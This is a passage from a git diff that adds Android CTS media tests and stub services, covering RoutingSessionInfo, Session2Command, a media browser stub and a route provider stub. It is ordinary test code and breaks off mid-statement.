+        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
+        assertEquals(sessionInfo1, sessionInfo2);
+        assertEquals(sessionInfo1.hashCode(), sessionInfo2.hashCode());
+    }
+
+    @Test
+    public void testEqualsCreatedWithBuilderCopyConstructor() {
+        Bundle controlHints = new Bundle();
+        controlHints.putString(TEST_KEY, TEST_VALUE);
+
+        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
+        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(sessionInfo1).build();
+
+        assertEquals(sessionInfo1, sessionInfo2);
+        assertEquals(sessionInfo1.hashCode(), sessionInfo2.hashCode());
+    }
+
+    @Test
+    public void testEqualsReturnFalse() {
+        Bundle controlHints = new Bundle();
+        controlHints.putString(TEST_KEY, TEST_VALUE);
+
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .setName(TEST_OTHER_NAME).build());
+
+        // Now, we will use copy constructor
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .addSelectedRoute("randomRoute")
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .addSelectableRoute("randomRoute")
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .addDeselectableRoute("randomRoute")
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .addTransferableRoute("randomRoute")
+                .build());
+
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .removeSelectedRoute(TEST_ROUTE_ID_1)
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .removeSelectableRoute(TEST_ROUTE_ID_3)
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .removeDeselectableRoute(TEST_ROUTE_ID_5)
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .removeTransferableRoute(TEST_ROUTE_ID_7)
+                .build());
+
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .clearSelectedRoutes()
+                // Note: Calling build() with empty selected routes will throw IAE.
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .clearSelectableRoutes()
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .clearDeselectableRoutes()
+                .build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .clearTransferableRoutes()
+                .build());
+
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .setVolumeHandling(TEST_VOLUME_HANDLING + 1).build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .setVolumeMax(TEST_VOLUME_MAX + 1).build());
+        assertNotEquals(sessionInfo, new RoutingSessionInfo.Builder(sessionInfo)
+                .setVolume(TEST_VOLUME + 1).build());
+
+        // Note: ControlHints will not affect the equals.
+    }
+
+    @Test
+    public void testParcelingAndUnParceling() {
+        Bundle controlHints = new Bundle();
+        controlHints.putString(TEST_KEY, TEST_VALUE);
+
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        parcel.writeParcelable(sessionInfo, 0);
+        parcel.setDataPosition(0);
+
+        RoutingSessionInfo sessionInfoFromParcel = parcel.readParcelable(null);
+        assertEquals(sessionInfo, sessionInfoFromParcel);
+        assertEquals(sessionInfo.hashCode(), sessionInfoFromParcel.hashCode());
+
+        // Check controlHints
+        Bundle controlHintsOut = sessionInfoFromParcel.getControlHints();
+        assertNotNull(controlHintsOut);
+        assertTrue(controlHintsOut.containsKey(TEST_KEY));
+        assertEquals(TEST_VALUE, controlHintsOut.getString(TEST_KEY));
+        parcel.recycle();
+
+        // In order to mark writeToParcel as tested, we let's just call it directly.
+        Parcel dummyParcel = Parcel.obtain();
+        sessionInfo.writeToParcel(dummyParcel, 0);
+        dummyParcel.recycle();
+    }
+
+    @Test
+    public void testDescribeContents() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .build();
+        assertEquals(0, sessionInfo.describeContents());
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ScannerNotificationReceiver.java b/tests/tests/media/misc/src/android/media/misc/cts/ScannerNotificationReceiver.java
new file mode 100644
index 0000000..bdc89b2
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ScannerNotificationReceiver.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Environment;
+
+import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+class ScannerNotificationReceiver extends BroadcastReceiver {
+
+    private static final int TIMEOUT_MS = 4 * 60 * 1000;
+
+    private final String mAction;
+    private CountDownLatch mLatch = new CountDownLatch(1);
+
+    ScannerNotificationReceiver(String action) {
+        mAction = action;
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.getAction().equals(mAction)) {
+            mLatch.countDown();
+        }
+    }
+
+    public void waitForBroadcast() throws InterruptedException {
+        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            int numFiles = countFiles(Environment.getExternalStorageDirectory());
+            MediaScannerTest.fail("Failed to receive broadcast in " + TIMEOUT_MS + "ms for "
+                    + mAction + " while trying to scan " + numFiles + " files!");
+        }
+    }
+
+    void reset() {
+        mLatch = new CountDownLatch(1);
+    }
+
+    private int countFiles(File dir) {
+        int count = 0;
+        File[] files = dir.listFiles();
+        if (files != null) {
+            for (File file : files) {
+                if (file.isDirectory()) {
+                    count += countFiles(file);
+                } else {
+                    count++;
+                }
+            }
+        }
+        return count;
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandGroupTest.java b/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandGroupTest.java
new file mode 100644
index 0000000..c6239fb
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandGroupTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.media.Session2Command;
+import android.media.Session2CommandGroup;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Set;
+
+/**
+ * Tests {@link android.media.Session2CommandGroup}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class Session2CommandGroupTest {
+    private final int TEST_COMMAND_CODE_1 = 10000;
+    private final int TEST_COMMAND_CODE_2 = 10001;
+    private final int TEST_COMMAND_CODE_3 = 10002;
+
+    @Test
+    public void testHasCommand() {
+        Session2Command testCommand = new Session2Command(TEST_COMMAND_CODE_1);
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(testCommand);
+        Session2CommandGroup commandGroup = builder.build();
+        assertTrue(commandGroup.hasCommand(TEST_COMMAND_CODE_1));
+        assertTrue(commandGroup.hasCommand(testCommand));
+        assertFalse(commandGroup.hasCommand(TEST_COMMAND_CODE_2));
+    }
+
+    @Test
+    public void testGetCommands() {
+        Session2Command command1 = new Session2Command(TEST_COMMAND_CODE_1);
+        Session2Command command2 = new Session2Command(TEST_COMMAND_CODE_2);
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(command1);
+        Session2CommandGroup commandGroup = builder.build();
+
+        Set<Session2Command> commands = commandGroup.getCommands();
+        assertTrue(commands.contains(command1));
+        assertFalse(commands.contains(command2));
+    }
+
+    @Test
+    public void testDescribeContents() {
+        final int expected = 0;
+        Session2Command command = new Session2Command(TEST_COMMAND_CODE_1);
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(command);
+        Session2CommandGroup commandGroup = builder.build();
+        assertEquals(expected, commandGroup.describeContents());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(new Session2Command(TEST_COMMAND_CODE_1))
+                .addCommand(new Session2Command(TEST_COMMAND_CODE_2));
+        Session2CommandGroup commandGroup = builder.build();
+        Parcel dest = Parcel.obtain();
+        commandGroup.writeToParcel(dest, 0);
+        dest.setDataPosition(0);
+        Session2CommandGroup commandGroupFromParcel =
+            Session2CommandGroup.CREATOR.createFromParcel(dest);
+        assertEquals(commandGroup.getCommands(), commandGroupFromParcel.getCommands());
+        dest.recycle();
+    }
+
+    @Test
+    public void testBuilder() {
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(new Session2Command(TEST_COMMAND_CODE_1));
+        Session2CommandGroup commandGroup = builder.build();
+        Session2CommandGroup.Builder newBuilder = new Session2CommandGroup.Builder(commandGroup);
+        Session2CommandGroup newCommandGroup = newBuilder.build();
+        assertEquals(commandGroup.getCommands(), newCommandGroup.getCommands());
+    }
+
+    @Test
+    public void testAddAndRemoveCommand() {
+        Session2Command testCommand1 = new Session2Command(TEST_COMMAND_CODE_1);
+        Session2Command testCommand2 = new Session2Command(TEST_COMMAND_CODE_2);
+        Session2Command testCommand3 = new Session2Command(TEST_COMMAND_CODE_3);
+        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
+                .addCommand(testCommand1)
+                .addCommand(testCommand2)
+                .addCommand(testCommand3);
+        builder.removeCommand(testCommand1)
+                .removeCommand(testCommand2);
+        Session2CommandGroup commandGroup = builder.build();
+        assertFalse(commandGroup.hasCommand(testCommand1));
+        assertFalse(commandGroup.hasCommand(testCommand2));
+        assertTrue(commandGroup.hasCommand(testCommand3));
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandTest.java b/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandTest.java
new file mode 100644
index 0000000..36a22bc
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/Session2CommandTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.media.Session2Command;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link android.media.Session2Command}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class Session2CommandTest {
+    private final int TEST_COMMAND_CODE = 10000;
+    private final int TEST_RESULT_CODE = 0;
+    private final String TEST_CUSTOM_ACTION = "testAction";
+    private final Bundle TEST_CUSTOM_EXTRAS = new Bundle();
+    private final Bundle TEST_RESULT_DATA = new Bundle();
+
+    @Test
+    public void testConstructorWithCommandCodeCustom() {
+        try {
+            Session2Command command = new Session2Command(Session2Command.COMMAND_CODE_CUSTOM);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected IllegalArgumentException
+        }
+    }
+
+    @Test
+    public void testConstructorWithNullAction() {
+        try {
+            Session2Command command = new Session2Command(null, null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected IllegalArgumentException
+        }
+    }
+
+    @Test
+    public void testGetCommandCode() {
+        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
+        assertEquals(TEST_COMMAND_CODE, commandWithCode.getCommandCode());
+
+        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
+                TEST_CUSTOM_EXTRAS);
+        assertEquals(Session2Command.COMMAND_CODE_CUSTOM, commandWithAction.getCommandCode());
+    }
+
+    @Test
+    public void testGetCustomAction() {
+        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
+        assertNull(commandWithCode.getCustomAction());
+
+        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
+                TEST_CUSTOM_EXTRAS);
+        assertEquals(TEST_CUSTOM_ACTION, commandWithAction.getCustomAction());
+    }
+
+    @Test
+    public void testGetCustomExtras() {
+        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
+        assertNull(commandWithCode.getCustomExtras());
+
+        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
+                TEST_CUSTOM_EXTRAS);
+        assertEquals(TEST_CUSTOM_EXTRAS, commandWithAction.getCustomExtras());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        final int expected = 0;
+        Session2Command command = new Session2Command(TEST_COMMAND_CODE);
+        assertEquals(expected, command.describeContents());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Session2Command command = new Session2Command(TEST_CUSTOM_ACTION, null);
+        Parcel dest = Parcel.obtain();
+        command.writeToParcel(dest, 0);
+        dest.setDataPosition(0);
+        assertEquals(command.getCommandCode(), dest.readInt());
+        assertEquals(command.getCustomAction(), dest.readString());
+        assertEquals(command.getCustomExtras(), dest.readBundle());
+    }
+
+    @Test
+    public void testEquals() {
+        Session2Command commandWithCode1 = new Session2Command(TEST_COMMAND_CODE);
+        Session2Command commandWithCode2 = new Session2Command(TEST_COMMAND_CODE);
+        assertTrue(commandWithCode1.equals(commandWithCode2));
+
+        Session2Command commandWithAction1 = new Session2Command(TEST_CUSTOM_ACTION,
+                TEST_CUSTOM_EXTRAS);
+        Session2Command commandWithAction2 = new Session2Command(TEST_CUSTOM_ACTION,
+                TEST_CUSTOM_EXTRAS);
+        assertTrue(commandWithAction1.equals(commandWithAction2));
+    }
+
+    @Test
+    public void testHashCode() {
+        Session2Command commandWithCode1 = new Session2Command(TEST_COMMAND_CODE);
+        Session2Command commandWithCode2 = new Session2Command(TEST_COMMAND_CODE);
+        assertEquals(commandWithCode1.hashCode(), commandWithCode2.hashCode());
+    }
+
+    @Test
+    public void testGetResultCodeAndData() {
+        Session2Command.Result result = new Session2Command.Result(TEST_RESULT_CODE,
+                TEST_RESULT_DATA);
+        assertEquals(TEST_RESULT_CODE, result.getResultCode());
+        assertEquals(TEST_RESULT_DATA, result.getResultData());
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/StubMediaBrowserService.java b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaBrowserService.java
new file mode 100644
index 0000000..f96adfc
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaBrowserService.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.annotation.NonNull;
+import android.media.MediaDescription;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.media.session.MediaSession;
+import android.media.session.MediaSessionManager;
+import android.os.Bundle;
+import android.service.media.MediaBrowserService;
+
+import junit.framework.Assert;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Stub implementation of (@link android.service.media.MediaBrowserService}.
+ */
+public class StubMediaBrowserService extends MediaBrowserService {
+    static final String EXTRAS_KEY = "test_extras_key";
+    static final String EXTRAS_VALUE = "test_extras_value";
+
+    static final String MEDIA_ID_INVALID = "test_media_id_invalid";
+    static final String MEDIA_ID_ROOT = "test_media_id_root";
+    static final String MEDIA_ID_CHILDREN_DELAYED = "test_media_id_children_delayed";
+
+    static final String[] MEDIA_ID_CHILDREN = new String[] {
+        "test_media_id_children_0", "test_media_id_children_1",
+        "test_media_id_children_2", "test_media_id_children_3",
+        MEDIA_ID_CHILDREN_DELAYED
+    };
+
+    static StubMediaBrowserService sInstance;
+
+    static MediaSession sSession;
+    static MediaSessionManager.RemoteUserInfo sBrowserInfo;
+
+    private Bundle mExtras;
+    private Result<List<MediaItem>> mPendingLoadChildrenResult;
+    private Result<MediaItem> mPendingLoadItemResult;
+    private Bundle mPendingRootHints;
+    private final Map<String, List<MediaItem>> mChildrenMap = new HashMap<>();
+
+    public static void clearBrowserInfo() {
+        sBrowserInfo = null;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        sInstance = this;
+        sSession = new MediaSession(this, "StubMediaBrowserService");
+        setSessionToken(sSession.getSessionToken());
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        sSession.release();
+        sInstance = null;
+        sSession = null;
+    }
+
+    @Override
+    public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundle rootHints) {
+        sBrowserInfo = getCurrentBrowserInfo();
+        mExtras = new Bundle();
+        mExtras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+        return new BrowserRoot(MEDIA_ID_ROOT, mExtras);
+    }
+
+    @Override
+    public void onLoadChildren(final String parentMediaId, final Result<List<MediaItem>> result) {
+        List<MediaItem> mediaItems = new ArrayList<>();
+        if (MEDIA_ID_ROOT.equals(parentMediaId)) {
+            Bundle rootHints = getBrowserRootHints();
+            for (String id : MEDIA_ID_CHILDREN) {
+                mediaItems.add(new MediaItem(new MediaDescription.Builder()
+                        .setMediaId(id).setExtras(rootHints).build(), MediaItem.FLAG_BROWSABLE));
+            }
+            sBrowserInfo = getCurrentBrowserInfo();
+            result.sendResult(mediaItems);
+        } else if (MEDIA_ID_CHILDREN_DELAYED.equals(parentMediaId)) {
+            Assert.assertNull(mPendingLoadChildrenResult);
+            mPendingLoadChildrenResult = result;
+            mPendingRootHints = getBrowserRootHints();
+            result.detach();
+        } else if (MEDIA_ID_INVALID.equals(parentMediaId)) {
+            result.sendResult(null);
+        } else if (mChildrenMap.containsKey(parentMediaId)) {
+            result.sendResult(mChildrenMap.get(parentMediaId));
+        }
+    }
+
+    @Override
+    public void onLoadItem(String itemId, Result<MediaItem> result) {
+        if (MEDIA_ID_CHILDREN_DELAYED.equals(itemId)) {
+            mPendingLoadItemResult = result;
+            mPendingRootHints = getBrowserRootHints();
+            result.detach();
+            return;
+        }
+
+        for (String id : MEDIA_ID_CHILDREN) {
+            if (id.equals(itemId)) {
+                result.sendResult(new MediaItem(new MediaDescription.Builder()
+                        .setMediaId(id).setExtras(getBrowserRootHints()).build(),
+                                MediaItem.FLAG_BROWSABLE));
+                sBrowserInfo = getCurrentBrowserInfo();
+                return;
+            }
+        }
+
+        super.onLoadItem(itemId, result);
+    }
+
+    public void putChildrenToMap(@NonNull String parentMediaId, @NonNull List<MediaItem> children) {
+        mChildrenMap.put(parentMediaId, children);
+    }
+
+    public void removeChildrenFromMap(@NonNull String parentMediaId) {
+        mChildrenMap.remove(parentMediaId);
+    }
+
+    public void sendDelayedNotifyChildrenChanged() {
+        if (mPendingLoadChildrenResult != null) {
+            mPendingLoadChildrenResult.sendResult(Collections.<MediaItem>emptyList());
+            mPendingRootHints = null;
+            mPendingLoadChildrenResult = null;
+        }
+    }
+
+    public void sendDelayedItemLoaded() {
+        if (mPendingLoadItemResult != null) {
+            mPendingLoadItemResult.sendResult(new MediaItem(new MediaDescription.Builder()
+                    .setMediaId(MEDIA_ID_CHILDREN_DELAYED).setExtras(mPendingRootHints).build(),
+                            MediaItem.FLAG_BROWSABLE));
+            mPendingRootHints = null;
+            mPendingLoadItemResult = null;
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/StubMediaRoute2ProviderService.java b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaRoute2ProviderService.java
new file mode 100644
index 0000000..b9d17e8
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaRoute2ProviderService.java
@@ -0,0 +1,454 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
+import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.Intent;
+import android.media.MediaRoute2Info;
+import android.media.MediaRoute2ProviderService;
+import android.media.RouteDiscoveryPreference;
+import android.media.RoutingSessionInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import javax.annotation.concurrent.GuardedBy;
+
+public class StubMediaRoute2ProviderService extends MediaRoute2ProviderService {
+    private static final String TAG = "SampleMR2ProviderSvc";
+    private static final Object sLock = new Object();
+
+    public static final String ROUTE_ID1 = "route_id1";
+    public static final String ROUTE_NAME1 = "Sample Route 1";
+    public static final String ROUTE_ID2 = "route_id2";
+    public static final String ROUTE_NAME2 = "Sample Route 2";
+    public static final String ROUTE_ID3_SESSION_CREATION_FAILED =
+            "route_id3_session_creation_failed";
+    public static final String ROUTE_NAME3 = "Sample Route 3 - Session creation failed";
+    public static final String ROUTE_ID4_TO_SELECT_AND_DESELECT =
+            "route_id4_to_select_and_deselect";
+    public static final String ROUTE_NAME4 = "Sample Route 4 - Route to select and deselect";
+    public static final String ROUTE_ID5_TO_TRANSFER_TO = "route_id5_to_transfer_to";
+    public static final String ROUTE_NAME5 = "Sample Route 5 - Route to transfer to";
+
+    public static final String ROUTE_ID_SPECIAL_FEATURE = "route_special_feature";
+    public static final String ROUTE_NAME_SPECIAL_FEATURE = "Special Feature Route";
+
+    public static final int INITIAL_VOLUME = 30;
+    public static final int VOLUME_MAX = 100;
+    public static final int SESSION_VOLUME_MAX = 50;
+    public static final int SESSION_VOLUME_INITIAL = 20;
+
+    public static final String ROUTE_ID_FIXED_VOLUME = "route_fixed_volume";
+    public static final String ROUTE_NAME_FIXED_VOLUME = "Fixed Volume Route";
+    public static final String ROUTE_ID_VARIABLE_VOLUME = "route_variable_volume";
+    public static final String ROUTE_NAME_VARIABLE_VOLUME = "Variable Volume Route";
+
+    public static final String FEATURE_SAMPLE = "android.media.misc.cts.FEATURE_SAMPLE";
+    public static final String FEATURE_SPECIAL = "android.media.misc.cts.FEATURE_SPECIAL";
+
+    public static final List<String> FEATURES_ALL = new ArrayList();
+    public static final List<String> FEATURES_SPECIAL = new ArrayList();
+
+    static {
+        FEATURES_ALL.add(FEATURE_SAMPLE);
+        FEATURES_ALL.add(FEATURE_SPECIAL);
+        FEATURES_ALL.add(FEATURE_LIVE_AUDIO);
+
+        FEATURES_SPECIAL.add(FEATURE_SPECIAL);
+    }
+
+    Map<String, MediaRoute2Info> mRoutes = new HashMap<>();
+    Map<String, String> mRouteIdToSessionId = new HashMap<>();
+    private int mNextSessionId = 1000;
+
+    @GuardedBy("sLock")
+    private static StubMediaRoute2ProviderService sInstance;
+    private Proxy mProxy;
+
+    public void initializeRoutes() {
+        MediaRoute2Info route1 = new MediaRoute2Info.Builder(ROUTE_ID1, ROUTE_NAME1)
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+        MediaRoute2Info route2 = new MediaRoute2Info.Builder(ROUTE_ID2, ROUTE_NAME2)
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+        MediaRoute2Info route3 = new MediaRoute2Info.Builder(
+                ROUTE_ID3_SESSION_CREATION_FAILED, ROUTE_NAME3)
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+        MediaRoute2Info route4 = new MediaRoute2Info.Builder(
+                ROUTE_ID4_TO_SELECT_AND_DESELECT, ROUTE_NAME4)
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+        MediaRoute2Info route5 = new MediaRoute2Info.Builder(
+                ROUTE_ID5_TO_TRANSFER_TO, ROUTE_NAME5)
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+        MediaRoute2Info routeSpecial =
+                new MediaRoute2Info.Builder(ROUTE_ID_SPECIAL_FEATURE, ROUTE_NAME_SPECIAL_FEATURE)
